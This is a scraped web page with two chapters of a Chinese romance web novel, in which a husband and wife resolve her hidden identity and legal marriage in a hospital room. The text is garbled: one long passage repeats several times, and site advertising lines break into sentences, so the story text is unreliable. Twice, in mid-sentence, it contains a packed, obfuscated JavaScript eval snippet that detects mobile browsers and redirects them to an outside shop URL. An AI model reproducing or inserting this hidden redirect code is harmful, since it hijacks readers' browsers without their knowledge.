陆京洲转头,看向地上已经面如死灰、眼神空洞的周时越,语气平静无波,却带着最终宣判的冷酷,“听到了?也看到了?周时越,现在,连你最后那点可笑的法律借口,也不存在了。” “从今往后,岑予衿,是我陆京洲法律上、情感上、唯一的妻子。与你,再无半分瓜葛。” 他搂紧怀里的珍宝,再也不看那个失败者一眼。 缓缓拿出手机,拨通了个电话,声音冰冷,“送周先生回产房,他老婆还在生孩子呢,他该回去陪着,不该出现在我老婆这儿。” 我老婆几个字,他刻意加重了力道。 像是在故意炫耀着什么。 没错,他就是故意的。 说实话,他听到他们之间的对话第一反应不是被欺骗的愤怒,是害怕。 他害怕在她心里比不上早就已经恢复记忆的周时越。 他害怕她不要他,也不要宝宝。 会毫不犹豫的选择那个她曾经挚爱的男人。 知道她的**之后,他真的一点把握都没有,一点都没有。 因为……他从来都是不被选择的。 他的人生字典里没有好运二字,也从没想过幸运之神会眷顾他。 所以他不敢赌,也不想赌。 奶说我们俩之间的事情她不掺和,我什么时候想告诉你了就告诉你。” “也就是说,”她看着他越来越亮的眼睛,一字一句地说,“法律上,和你陆京洲登记结婚的,从始至终,就是‘岑予衿’。我们的结婚证,是真的。我们的婚姻,受法律保护的妻子,是岑予衿,不是周芙笙。” “而周时越手里那本……早在一年前,被销户时,自动解除了。他所谓的‘还没办手续’,只是他的一厢情愿和不肯面对现实。” 病房里陷入了一片死寂。 倒在地上的周时越死死盯着陆京洲手里那本崭新的结婚证,眼里是化不开的执念。 陆京洲低头,再次看向手里的结婚证,指尖轻轻摩挲过“岑予衿”那三个字,又看向照片上她依偎着自己的模样。 一年来,他从未仔细看过这本证,他娶的是她这个人,叫什么名字,什么身份,他不在乎。 好在真真正正的岑予衿,成为了他陆京洲名正言顺的妻子。 他抬起头,看向岑予衿,眼中的冰冷和暴怒早已消失殆尽,只剩下浓得化不开的深情和激赏。 他猛地将她重新拥入怀中,这一次的拥抱,比之前任何一次都要用力,都要紧密,仿佛要将她融入自己的生命。 “你……”他的声音哽住了,喉结剧烈滚动了几下,才在她耳边发出低哑而颤抖的叹息,“你这个傻瓜……这么重要的事,为什么不早点告诉我?” 岑予衿靠在他坚实温暖的胸膛上,听着他如擂鼓般的心跳,终于彻底安心地闭上了眼睛,嘴角却高高扬起,“我想等一个合适的时机……” 陆京洲低低地笑了,笑声里充满了释然和无比的满足。 他松开她一些,再次捧起她的脸,深深地吻了下去。 这个吻,不再带有任何不确定,只有失而复得般的珍爱和喜悦。 良久,唇分。 陆京洲转头,看向地上已经面如死灰、眼神空洞的周时越,语气平静无波,却带着最终宣判的冷酷,“听到了?也看到了?周时越,现在,连你最后那点可笑的法律借口,也不存在了。” “从今往后,岑予衿,是我陆京洲法律上、情感上、唯一的妻子。与你,再无半分瓜葛。” 他搂紧怀里的珍宝,再也不看那个失败者一眼。 缓缓拿出手机,拨通了个电话,声音冰冷,“送周先生回产房,他老婆还在生孩子呢,他该回去陪着,不该出现在我老婆这儿。” 我老婆几个字,他刻意加重了力道。 像是在故意炫耀着什么。 没错,他就是故意的。 说实话,他听到他们之间的对话第一反应不是被欺骗的愤怒,是害怕。 他害怕在她心里比不上早就已经恢复记忆的周时越。 他害怕她不要他,也不要宝宝。 会毫不犹豫的选择那个她曾经挚爱的男人。 知道她的**之后,他真的一点把握都没有,一点都没有。 因为……他从来都是不被选择的。 他的人生字典里没有好运二字,也从没想过幸运之神会眷顾他。 所以他不敢赌,也不想赌。 奶说我们俩之间的事情她不掺和,我什么时候想告诉你了就告诉你。” “也就是说,”她看着他越来越亮的眼睛,一字一句地说,“法律上,和你陆京洲登记结婚的,从始至终,就是‘岑予衿’。我们的结婚证,是真的。我们的婚姻,受法律保护的妻子,是岑予衿,不是周芙笙。” “而周时越手里那本……早在一年前,被销户时,自动解除了。他所谓的‘还没办手续’,只是他的一厢情愿和不肯面对现实。” 病房里陷入了一片死寂。 倒在地上的周时越死死盯着陆京洲手里那本崭新的结婚证,眼里是化不开的执念。 陆京洲低头,再次看向手里的结婚证,指尖轻轻摩挲过“岑予衿”那三个字,又看向照片上她依偎着自己的模样。 一年来,他从未仔细看过这本证,他娶的是她这个人,叫什么名字,什么身份,他不在乎。 好在真真正正的岑予衿,成为了他陆京洲名正言顺的妻子。 他抬起头,看向岑予衿,眼中的冰冷和暴怒早已消失殆尽,只剩下浓得化不开的深情和激赏。 他猛地将她重新拥入怀中,这一次的拥抱,比之前任何一次都要用力,都要紧密,仿佛要将她融入自己的生命。 “你……”他的声音哽住了,喉结剧烈滚动了几下,才在她耳边发出低哑而颤抖的叹息,“你这个傻瓜……这么重要的事,为什么不早点告诉我?” 岑予衿靠在他坚实温暖的胸膛上,听着他如擂鼓般的心跳,终于彻底安心地闭上了眼睛,嘴角却高高扬起,“我想等一个合适的时机……” 陆京洲低低地笑了,笑声里充满了释然和无比的满足。 他松开她一些,再次捧起她的脸,深深地吻了下去。 这个吻,不再带有任何不确定,只有失而复得般的珍爱和喜悦。 良久,唇分。 陆京洲转头,看向地上已经面如死灰、眼神空洞的周时越,语气平静无波,却带着最终宣判的冷酷,“听到了?也看到了?周时越,现在,连你最后那点可笑的法律借口,也不存在了。” “从今往后,岑予衿,是我陆京洲法律上、情感上、唯一的妻子。与你,再无半分瓜葛。” 他搂紧怀里的珍宝,再也不看那个失败者一眼。 缓缓拿出手机,拨通了个电话,声音冰冷,“送周先生回产房,他老婆还在生孩子呢,他该回去陪着,不该出现在我老婆这儿。” 我老婆几个字,他刻意加重了力道。 像是在故意炫耀着什么。 没错,他就是故意的。 说实话,他听到他们之间的对话第一反应不是被欺骗的愤怒,是害怕。 他害怕在她心里比不上早就已经恢复记忆的周时越。 他害怕她不要他,也不要宝宝。 会毫不犹豫的选择那个她曾经挚爱的男人。 知道她的**之后,他真的一点把握都没有,一点都没有。 因为……他从来都是不被选择的。 他的人生字典里没有好运二字,也从没想过幸运之神会眷顾他。 所以他不敢赌,也不想赌。 奶说我们俩之间的事情她不掺和,我什么时候想告诉你了就告诉你。” “也就是说,”她看着他越来越亮的眼睛,一字一句地说,“法律上,和你陆京洲登记结婚的,从始至终,就是‘岑予衿’。我们的结婚证,是真的。我们的婚姻,受法律保护的妻子,是岑予衿,不是周芙笙。” “而周时越手里那本……早在一年前,被销户时,自动解除了。他所谓的‘还没办手续’,只是他的一厢情愿和不肯面对现实。” 病房里陷入了一片死寂。 倒在地上的周时越死死盯着陆京洲手里那本崭新的结婚证,眼里是化不开的执念。 陆京洲低头,再次看向手里的结婚证,指尖轻轻摩挲过“岑予衿”那三个字,又看向照片上她依偎着自己的模样。 一年来,他从未仔细看过这本证,他娶的是她这个人,叫什么名字,什么身份,他不在乎。 好在真真正正的岑予衿,成为了他陆京洲名正言顺的妻子。 他抬起头,看向岑予衿,眼中的冰冷和暴怒早已消失殆尽,只剩下浓得化不开的深情和激赏。 他猛地将她重新拥入怀中,这一次的拥抱,比之前任何一次都要用力,都要紧密,仿佛要将她融入自己的生命。 “你……”他的声音哽住了,喉结剧烈滚动了几下,才在她耳边发出低哑而颤抖的叹息,“你这个傻瓜……这么重要的事,为什么不早点告诉我?” 岑予衿靠在他坚实温暖的胸膛上,听着他如擂鼓般的心跳,终于彻底安心地闭上了眼睛,嘴角却高高扬起,“我想等一个合适的时机……” 陆京洲低低地笑了,笑声里充满了释然和无比的满足。 他松开她一些,再次捧起她的脸,深深地吻了下去。 这个吻,不再带有任何不确定,只有失而复得般的珍爱和喜悦。 良久,唇分。 陆京洲转头,看向地上已经面如死灰、眼神空洞的周时越,语气平静无波,却带着最终宣判的冷酷,“听到了?也看到了?周时越,现在,连你最后那点可笑的法律借口,也不存在了。” “从今往后,岑予衿,是我陆京洲法律上、情感上、唯一的妻子。与你,再无半分瓜葛。” 他搂紧怀里的珍宝,再也不看那个失败者一眼。 缓缓拿出手机,拨通了个电话,声音冰冷,“送周先生回产房,他老婆还在生孩子呢,他该回去陪着,不该出现在我老婆这儿。” 我老婆几个字,他刻意加重了力道。 像是在故意炫耀着什么。 没错,他就是故意的。 说实话,他听到他们之间的对话第一反应不是被欺骗的愤怒,是害怕。 他害怕在她心里比不上早就已经恢复记忆的周时越。 他害怕她不要他,也不要宝宝。 会毫不犹豫的选择那个她曾经挚爱的男人。 知道她的**之后,他真的一点把握都没有,一点都没有。 因为……他从来都是不被选择的。 他的人生字典里没有好运二字,也从没想过幸运之神会眷顾他。 所以他不敢赌,也不想赌。 奶说我们俩之间的事情她不掺和,我什么时候想告诉你了就告诉你。” “也就是说,”她看着他越来越亮的眼睛,一字一句地说,“法律上,和你陆京洲登记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆京洲转头,看向地上已经面如死灰、眼神空洞的周时越,语气平静无波,却带着最终宣判的冷酷,“听到了?也看到了?周时越,现在,连你最后那点可笑的法律借口,也不存在了。” “从今往后,岑予衿,是我陆京洲法律上、情感上、唯一的妻子。与你,再无半分瓜葛。” 他搂紧怀里的珍宝,再也不看那个失败者一眼。 缓缓拿出手机,拨通了个电话,声音冰冷,“送周先生回产房,他老婆还在生孩子呢,他该回去陪着,不该出现在我老婆这儿。” 我老婆几个字,他刻意加重了力道。 像是在故意炫耀着什么。 没错,他就是故意的。 说实话,他听到他们之间的对话第一反应不是被欺骗的愤怒,是害怕。 他害怕在她心里比不上早就已经恢复记忆的周时越。 他害怕她不要他,也不要宝宝。 会毫不犹豫的选择那个她曾经挚爱的男人。 知道她的**之后,他真的一点把握都没有,一点都没有。 因为……他从来都是不被选择的。 他的人生字典里没有好运二字,也从没想过幸运之神会眷顾他。 所以他不敢赌,也不想赌。 奶说我们俩之间的事情她不掺和,我什么时候想告诉你了就告诉你。” “也就是说,”她看着他越来越亮的眼睛,一字一句地说,“法律上,和你陆京洲登记结婚的,从始至终,就是‘岑予衿’。我们的结婚证,是真的。我们的婚姻,受法律保护的妻子,是岑予衿,不是周芙笙。” “而周时越手里那本……早在一年前,被销户时,自动解除了。他所谓的‘还没办手续’,只是他的一厢情愿和不肯面对现实。” 病房里陷入了一片死寂。 倒在地上的周时越死死盯着陆京洲手里那本崭新的结婚证,眼里是化不开的执念。 陆京洲低头,再次看向手里的结婚证,指尖轻轻摩挲过“岑予衿”那三个字,又看向照片上她依偎着自己的模样。 一年来,他从未仔细看过这本证,他娶的是她这个人,叫什么名字,什么身份,他不在乎。 好在真真正正的岑予衿,成为了他陆京洲名正言顺的妻子。 他抬起头,看向岑予衿,眼中的冰冷和暴怒早已消失殆尽,只剩下浓得化不开的深情和激赏。 他猛地将她重新拥入怀中,这一次的拥抱,比之前任何一次都要用力,都要紧密,仿佛要将她融入自己的生命。 “你……”他的声音哽住了,喉结剧烈滚动了几下,才在她耳边发出低哑而颤抖的叹息,“你这个傻瓜……这么重要的事,为什么不早点告诉我?” 岑予衿靠在他坚实温暖的胸膛上,听着他如擂鼓般的心跳,终于彻底安心地闭上了眼睛,嘴角却高高扬起,“我想等一个合适的时机……” 陆京洲低低地笑了,笑声里充满了释然和无比的满足。 他松开她一些,再次捧起她的脸,深深地吻了下去。 这个吻,不再带有任何不确定,只有失而复得般的珍爱和喜悦。 良久,唇分。 陆京洲转头,看向地上已经面如死灰、眼神空洞的周时越,语气平静无波,却带着最终宣判的冷酷,“听到了?也看到了?周时越,现在,连你最后那点可笑的法律借口,也不存在了。” “从今往后,岑予衿,是我陆京洲法律上、情感上、唯一的妻子。与你,再无半分瓜葛。” 他搂紧怀里的珍宝,再也不看那个失败者一眼。 缓缓拿出手机,拨通了个电话,声音冰冷,“送周先生回产房,他老婆还在生孩子呢,他该回去陪着,不该出现在我老婆这儿。” 我老婆几个字,他刻意加重了力道。 像是在故意炫耀着什么。 没错,他就是故意的。 说实话,他听到他们之间的对话第一反应不是被欺骗的愤怒,是害怕。 他害怕在她心里比不上早就已经恢复记忆的周时越。 他害怕她不要他,也不要宝宝。 会毫不犹豫的选择那个她曾经挚爱的男人。 知道她的**之后,他真的一点把握都没有,一点都没有。 因为……他从来都是不被选择的。 他的人生字典里没有好运二字,也从没想过幸运之神会眷顾他。 所以他不敢赌,也不想赌。 奶说我们俩之间的事情她不掺和,我什么时候想告诉你了就告诉你。” “也就是说,”她看着他越来越亮的眼睛,一字一句地说,“法律上,和你陆京洲登记结婚的,从始至终,就是‘岑予衿’。我们的结婚证,是真的。我们的婚姻,受法律保护的妻子,是岑予衿,不是周芙笙。” “而周时越手里那本……早在一年前,被销户时,自动解除了。他所谓的‘还没办手续’,只是他的一厢情愿和不肯面对现实。” 病房里陷入了一片死寂。 倒在地上的周时越死死盯着陆京洲手里那本崭新的结婚证,眼里是化不开的执念。 陆京洲低头,再次看向手里的结婚证,指尖轻轻摩挲过“岑予衿”那三个字,又看向照片上她依偎着自己的模样。 一年来,他从未仔细看过这本证,他娶的是她这个人,叫什么名字,什么身份,他不在乎。 好在真真正正的岑予衿,成为了他陆京洲名正言顺的妻子。 他抬起头,看向岑予衿,眼中的冰冷和暴怒早已消失殆尽,只剩下浓得化不开的深情和激赏。 他猛地将她重新拥入怀中,这一次的拥抱,比之前任何一次都要用力,都要紧密,仿佛要将她融入自己的生命。 “你……”他的声音哽住了,喉结剧烈滚动了几下,才在她耳边发出低哑而颤抖的叹息,“你这个傻瓜……这么重要的事,为什么不早点告诉我?” 岑予衿靠在他坚实温暖的胸膛上,听着他如擂鼓般的心跳,终于彻底安心地闭上了眼睛,嘴角却高高扬起,“我想等一个合适的时机……” 陆京洲低低地笑了,笑声里充满了释然和无比的满足。 他松开她一些,再次捧起她的脸,深深地吻了下去。 这个吻,不再带有任何不确定,只有失而复得般的珍爱和喜悦。 良久,唇分。 陆京洲转头,看向地上已经面如死灰、眼神空洞的周时越,语气平静无波,却带着最终宣判的冷酷,“听到了?也看到了?周时越,现在,连你最后那点可笑的法律借口,也不存在了。” “从今往后,岑予衿,是我陆京洲法律上、情感上、唯一的妻子。与你,再无半分瓜葛。” 他搂紧怀里的珍宝,再也不看那个失败者一眼。 缓缓拿出手机,拨通了个电话,声音冰冷,“送周先生回产房,他老婆还在生孩子呢,他该回去陪着,不该出现在我老婆这儿。” 我老婆几个字,他刻意加重了力道。 像是在故意炫耀着什么。 没错,他就是故意的。 说实话,他听到他们之间的对话第一反应不是被欺骗的愤怒,是害怕。 他害怕在她心里比不上早就已经恢复记忆的周时越。 他害怕她不要他,也不要宝宝。 会毫不犹豫的选择那个她曾经挚爱的男人。 知道她的**之后,他真的一点把握都没有,一点都没有。 因为……他从来都是不被选择的。 他的人生字典里没有好运二字,也从没想过幸运之神会眷顾他。 所以他不敢赌,也不想赌。 第235章 没说出口的真相,只会说误会 话音落下,病房门被推开。 两名身着黑色西装,身形笔挺的保镖面无表情地走了进来。 他们没有多看病房内的情形一眼,径直走向瘫软在地的周时越,动作利落地捂住他的嘴,避免他发出一点声音。 一左一右将人架起,拖向门外。 整个过程干脆的要命,毫不拖泥带水! 周时越不知是认命了,还是被打懵了,沉浸在自己的世界,没有挣扎。 他只是任由自己被拖拽着往外。 甚至没有再回头看岑予衿一眼。 那双盛满温柔爱意的眼睛,只死死盯着陆京洲手中那抹刺眼的红色。 那本被陆京洲紧攥在手里的结婚证。 直到被彻底拖出病房,他的视线都不曾移开半分。 什么都没有了。 他成功的……什么都没有了。 从少年时期一起养的小狗,被他弄**。 到精心布置的婚房被她烧了。 挂在床头笑容灿烂的婚纱照也成了灰烬。 还有被陆京洲亲手撕碎的结婚证…… 一切属于“周时越和岑予衿”的证明,都被抹去了。 他还有什么好怕的? 他知道该怎么做。 他清楚的知道自己该怎么做。 既然已经一无所有,那便没什么可再失去。 大不了,就赔上这条命…… 病房门“咔嗒”一声重新关上,隔绝了外界所有的纷扰与喧嚣。 世界在这一刻彻底沉静下来。 静得只剩下他们两人交织在一起的呼吸与心跳。 她的略快而轻,他的沉而重,如同两股溪流,汇合在一起。 陆京洲依然紧紧拥着岑予衿……根本舍不得松开。 手臂环着她的肩背,力道大得几乎让她有些喘不过气,像是要将她揉进自己的骨血里。 岑予衿没有丝毫抗拒,反而抬起手臂,更紧地回抱住他精瘦的腰身。 她侧脸贴在他质地精良的衬衫上,感受着衣料下胸膛传来的剧烈震动,以及那蓬勃体温下无法掩饰的颤抖。 刚才那番话,与其说是对周时越的宣判,不如说是陆京洲对自己的一场赤裸裸的剖白。 在她面前,他从来都是大方自信,底气十足的。 “笙笙。”陆京洲低声唤她,下巴轻轻抵着她的发顶,声音闷在她柔软的发丝里,沙哑得不像话,“你刚才说的……都是真的吗?” 他顿 你的朋友正在书荒,快去帮帮他吧 了顿喉结艰难地滚动了一下。 “你知道我刚才……有多害怕吗?” 那不是一个陈述句而是一个带着细微颤音的疑问裹挟着劫后余生的惊悸。 岑予衿的心狠狠一揪。她在他怀里轻轻点头脸颊蹭着他的胸口。 “我知道……”她声音微哑。 “你不知道。”陆京洲却打断了她。 他微微松开了怀抱双手转而捧起她的脸动作带着温柔迫使她望进自己深邃的眼底。 那里面翻涌着太多复杂的情绪尚未完全褪去的后怕失而复得的巨大庆幸还有一丝他平日绝不愿承认的脆弱。 “当我听到他说你们是夫妻听到你承认……你是岑予衿……” 陆京洲的瞳孔收缩了一下仿佛又被拉回那一刻的冰冷窒息“我脑子里一片空白。我第一个念头不是被骗了也不是愤怒而是……如果你选择他我该怎么办。” 他的拇指轻轻抚过她细腻的脸颊带着薄茧的指腹摩挲着她的肌肤动作极尽温柔眼神却带着近乎偏执的专注一瞬不瞬地锁着她。 “强行把你留在身边?用尽手段逼你忘了他?折断你的翅膀让你眼里只能看到我?我想了无数种可能每一种都让我……” 他再次顿住闭了闭眼再睁开时眼底有些许狼狈的红。 “让我觉得快要疯了。” 岑予衿的呼吸一滞心口像被钝器重重击中酸涩的痛楚弥漫开来。 “我调查过知道你们所有的过往。”陆京洲继续道声音低沉“知道你们青梅竹马知道你们曾经多么相爱知道他为你做过什么知道你……曾多么义无反顾地走向他。 漫无目的找了他三年不是一天两天是三年一千多个日夜。 当这些碎片在我脑子里串联成线我最害怕的不是你的隐瞒而是你会毫不犹豫地抛弃我回到他那所谓‘正确’的轨道上。” 他深吸一口气像是要压下翻腾的情绪。 “我最庆幸的……甚至有些卑鄙……我们之间至少还有两个宝宝。我……” 他自嘲般地扯了扯嘴角那弧度苦涩至极“我甚至在赌赌你为了两个孩子不会轻易离开我。” 话音落下病房里陷入了短暂的寂静。 岑予衿的眼泪毫无预兆地滚落下来 她一直以为陆京洲是山是海是永远强势、掌控一切的存在。 在她不曾留 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 意的时刻这座山也会因恐惧而震颤这片海也会因不安而翻涌。 他也会如此恐惧如此没有把握如此……卑微地计算着手中的筹码只为留住她。 “我不会选他。”她抬起手覆上他捧着自己脸颊的手背温暖的掌心贴着他微凉的手背。 她的声音因为泪水而有些哽咽却异常清晰、坚定一字一句砸在陆京洲的心上。 “从我想起一切决定留在你身边的那一刻起我的选择就只有你。以前是现在是以后……这辈子都是。” 她用力眨了眨眼让模糊的视线重新聚焦深深望进他眼底那片翻涌的深海试图将所有的真诚、爱意和决心都毫无保留地传递给他。 “陆京洲你听好。你不需要用任何手段留住我不需要计算宝宝们的分量更不需要害怕我会离开。” 她的手指微微用力收紧了他的手。 “因为我早就把自己的心交到你手里了。只是我自己糊涂一度弄丢了它忘了它原本属于哪里。现在找回来了就再也不会放手也不会再给别人。” 陆京洲的瞳孔剧烈地颤抖了一下。 那层覆盖在他周身经年累月形成的冰冷坚硬外壳在她这番近乎誓言的话语中击中了最柔软的内心。 他猛地深吸一口气像是缺水已久的鱼终于接触到水源 这一次的拥抱比之前更紧更沉带着一种近乎失态的确认只有通过这种肌肤相贴的方式。 才能切实地感受到她的存在才能相信这一切不是他恐惧过度产生的幻觉。 “幸好……”他将脸埋进她的颈窝闭着眼低哑的声音带着震颤。 “幸好奶奶那时……做了那些安排。幸好无论过程如何现在法律上、名分上你都是我的妻子我名副其实的陆太太。” 他顿了顿声音压得更低带着一种近乎叹息的庆幸。 “也幸好……你最终愿意告诉我。没有让我在臆测和不安里……疯掉。” 岑予衿在他怀里轻轻摇头闷声回答温热的气息拂过他颈侧的皮肤。 “阿洲是我太笨太自以为是。总想着要找一个‘完美’的时机一个能坦然接受一切的你却忘了最重要的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076238|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是给你安心让你知道无论我是谁我的心意都不会变。 以后……再也没有秘密了。陆京洲我叫岑予衿是你的妻子是我们宝宝的妈妈。只是这样也只是你的。” 她稍稍退 听说看这本书的人都是很幸运的,分享后你的运气会更棒 开一点,仰头看着他,眼圈依旧红着,却努力弯起一个笑容。 “其实,在很久很久以前,我就想告诉你了。你还记得吗?有一次,我试探着问过你,觉得‘岑予衿’是个什么样的人?” 陆京洲的身体几不可察地僵了一下。 随即,一抹罕见到堪称窘迫的红晕,以肉眼可见的速度从他脖子蔓延开来,迅速爬满了耳根,染红了他的脸颊 “别说了。”他难得有些气短,眼神飘忽了一瞬,“我记得。” “你说~”岑予衿却故意拖长了声音,看着他越来越红的脸,心里那点残余的酸涩被一种奇妙的暖意和促狭取代,“‘一个蠢死的女人,提她干嘛?’” “笙笙……”陆京洲无奈地唤她,试图阻止她“翻旧账”,那模样竟有些可怜。 岑予衿看着他这副样子,心软得一塌糊涂,但有些话,必须说清楚。 她收敛了笑意,重重地叹了口气,神情变得认真而复杂。 “我知道,你对‘岑予衿’这个人,有着很深的偏见和……滤镜。 你以为她愚蠢、恋爱脑、为了男人不顾一切最后惨淡收场。 你喜欢的、爱护的、想要共度一生的人,是‘周芙笙’。这个认知,像一块巨石压在我心里。 所以我根本不敢告诉你我的**,我害怕……你一旦知道‘周芙笙’就是那个你评价为‘蠢死’的‘岑予衿’,会觉得受到欺骗,会失望,会……毫不犹豫地转身离开,结束这场婚姻。” 她想起那段日夜煎熬的日子,眼神黯淡了一瞬。 “甚至,一开始确实像周时越说的那样,你曾经看到过那份离婚协议……是真的。 一开始我不想束缚你太久,我知道一切都是我一厢情愿,一年加上和老太太的约定,足以让我脱身,我确实动过离开的念头。 知道坏了两个宝宝,我也有想带走一个的想法 但是后来,奶奶发现了我的身份,她拦下了我,也点醒了我。再后来,我们重新去领了结婚证,那份离婚协议,自然也就作废了。” 她抬起手,指尖轻轻触碰他依旧泛红的脸颊,目光柔和而坚定。 “陆京洲,我不是周时越记忆中那个永远停留在过去的岑予衿,也不仅仅是你后来认识的周芙笙。 我是经历了背叛、痛苦、遗忘,又得到了救赎、关爱和新生,最终选择坚定站在你身边的这个人。完整的,属于你的这个人。” 陆京洲静静地听着,眼底翻涌的情绪逐渐沉淀,化为一片深不见底的柔光。 他低低地“嗯”了一声,声音醇厚而安稳。 他没有再多说什么,只是重新将她拥入怀中,这一次的拥抱,少了那份濒临失控的力度,多了无尽的珍视与缠绵。 他低下头,寻到她的手指,缓慢而坚定地,与她十指紧紧交缠。 掌心相贴,温度互相传递,脉搏在彼此的皮肤下共振,仿佛某种无声的契约在此刻烙下。 “笙笙。”他低声唤她,吻了吻她的发丝,然后稍稍退开,看着她清澈的眼眸。 病房顶灯柔和的光线落在他脸上,驱散了所有残留的阴霾戾气与防备。 他的目光深邃而温柔,像宁静的夜空,包裹着独一无二的星辰。 “我们一定要好好的。” 第236章 你是我的命中注定 岑予衿的目光越过陆京洲的肩头,落在了病房门口那一大束开得正盛的花上。 一束奶白色的郁金香,另外一束玫瑰已经摔在地上,花瓣都碎了。 半开的郁金香还是好好的。 花瓣饱满得像是盛满了月光,被衬在墨绿的叶片间,清新又雅致,和医院里消毒水的味道格格不入。 她的视线在花束上停留了几秒,才转回头看向陆京洲,眼底带着几分好奇,声音软乎乎的,“对了,你刚才出去那么久,是干嘛了呀?我还以为你是去处理公司的急事了。” 陆京洲顺着她的目光看向那束郁金香,紧绷的嘴角不自觉地柔和下来,眼底漾起一抹细碎的笑意。 他抬手揉了揉她的头发,指尖划过她柔软的发梢,语气里带着几分不易察觉的得意,“猜。” “猜不到。”岑予衿轻轻晃了晃他的胳膊,眼底带着几分撒娇的意味,“你快说嘛,好奇。” “有了刚才的插曲。”陆京洲低笑一声,伸手牵住她的手,带着她往门口走,“本来想等你情绪稳定点再给你看的,倒是被你先发现了。” 他弯腰,小心翼翼地抱起那束还没太糟糕的郁金香,将花递到她面前,声音温柔得能掐出水来。 “喜欢吗?你以前跟我说过,你最喜欢茉莉和郁金香,说它像……” “像裹着糖霜的月亮。”岑予衿接过花束,鼻尖萦绕着淡淡的花香。 她低头嗅了嗅,眼底亮得惊人,嘴角的笑意止都止不住,“你居然还记得。” “你说过的话,我都记得。”陆京洲看着她眉眼弯弯的模样,心里像是被灌满了蜜,他伸手刮了刮她的鼻尖,“这只是其中一样。” “还有?”岑予衿抬眸看他,眼里满是惊喜。 “当然。”陆京洲牵起她的手,指腹轻轻摩挲着她的指尖,语气带着几分郑重,“你为我生了两个宝宝,受了那么多苦,我早就想给你准备一份礼物了。只是之前一直忙着照顾你,没来得及。” 他说着,从口袋里掏出一个丝绒盒子,递到她面前,“打开看看。” 岑予衿的心跳漏了一拍,她小心翼翼地接过盒子,指尖微微发颤。 她掀开盒盖的瞬间,眼前瞬间被一片璀璨的光芒晃得睁不开眼。 盒子里躺着一只手镯,通体是温润的黄金,刻着精致的花纹,“来吧老婆,可以兑换最贵的手环了。” “这……”岑予衿惊得微微张了张嘴,眼底满是不可置信,“好漂亮。” 陆京洲摇了 摇头,他拿起手镯,小心翼翼地握住她的手腕,将手镯戴了上去,大小刚刚好,“我的笙笙,你值得最好的。” 手镯贴着她的手腕,带着微凉的温度,却烫得她心脏发烫。 她还没从惊喜中回过神来,就见陆京洲又从口袋里掏出了十个小盒子,一个个摆在旁边的床头柜上。 “这又是什么?”岑予衿的目光落在那些盒子上,好奇地问。 “你看看就知道了。”陆京洲挑眉,伸手打开了第一个盒子。 盒子里躺着一枚戒指,黄金的戒托上镶嵌着一颗心形的粉钻,精致又漂亮。 岑予衿的呼吸一滞,还没来得及说话,陆京洲就已经打开了第二个盒子,第三个盒子…… 十个盒子,里面躺着十枚戒指,每一枚的款式都不一样,有的镶嵌着钻石,有的镶嵌着宝石,有的简约大方,有的精致繁复,却个个都璀璨夺目。 “十个……十枚戒指?”岑予衿看着那些戒指,惊得说不出话来,“你怎么买了这么多?” “因为你有十根手指。”陆京洲看着她,眼底满是笑意,语气却无比认真,“我想让你的每一根手指,都戴上我送你的戒指。” 他拿起其中一枚戒指,握住她的食指,小心翼翼地戴了上去,声音温柔得不像话,“这枚是粉钻的,我觉得很配你的气质。” 他又拿起一枚镶嵌着蓝宝石的戒指,戴在她的中指上,“这枚蓝宝石的,象征着忠诚,就像我对你的心意。” 他一枚一枚地给她戴上,动作轻柔得像是在对待稀世珍宝。 岑予衿看着自己手上戴满的戒指,指尖微微发颤,眼眶又开始泛红。 她抬起头,看着陆京洲,声音带着一丝哽咽,“你怎么突然想起送我这些?” “不是突然。”陆京洲停下动作,他握住她的手,低头在她的手背上印下一个吻,“从你怀孕开始,我就一直在准备了,想着给你一个惊喜。” 他看着她泛红的眼眶,心里一紧,连忙伸手擦去她眼角的泪水,语气带着几分慌乱,“怎么又哭了?不喜欢吗?要是不喜欢,我们可以去换,换成你喜欢的款式。” “喜欢,我很喜欢。”岑予衿摇了摇头,她用力吸了吸鼻子,嘴角却忍不住上扬,“我只是觉得,太幸福了。” 她看着自己手上的手镯和戒指,又看了看怀里的郁金香,眼底满是笑意,“只是,这么多戒指,我平时怎么戴啊?” “想怎么戴就怎么戴。”陆京洲揉了揉她的头发,语气宠溺,“想戴哪枚就戴 哪枚,不想戴了就收起来,反正都是你的。” 他顿了顿,又补充道,“以后每年,我都给你买。每年都换不一样的款式,好不好?” “不用买那么多啦。”岑予衿轻轻推了推他的肩膀,眼底满是笑意,“有这些就够了。” “不够。”陆京洲摇头,他握住她的手,眼神无比认真,“你值得世间所有的美好,你孕晚期生宝宝,我没能陪在你身边,以后的每一天,我都会把最好的都给你。” 岑予衿看着他眼底的认真,心里像是被什么东西填满了,温暖又踏实。 她踮起脚尖,轻轻吻了吻他的唇角,声音温柔而坚定,“陆京洲,有你在我身边,就是最好的。” 陆京洲的瞳孔微微一缩,低头,狠狠吻住了她的唇。 这个吻温柔而缠绵,带着失而复得的珍惜,和矢志不渝的爱意。 病房里的郁金香散发着淡淡的花香,手腕上的手镯和指尖的戒指折射着璀璨的光芒。 阳光透过窗户洒进来,将两人紧紧相拥的身影,镀上了一层暖金色的光晕。 “你就光给我买了,没给两个宝宝买?” 周时越还拿了两个小金锁过来呢! 岑予衿从他怀里微微退开一点,仰起脸看他,睫毛上还沾着湿润的水汽,却带着一点娇嗔和替孩子们讨要的理直气壮,“你就光给我买了,没给两个宝宝买?” 她想起什么,补充道,“周时越还拿了两个小金锁过来呢!” 陆京洲闻言,失笑地捏了捏她的脸颊,眼底满是了然和一丝纵容,“你太小看我了”。 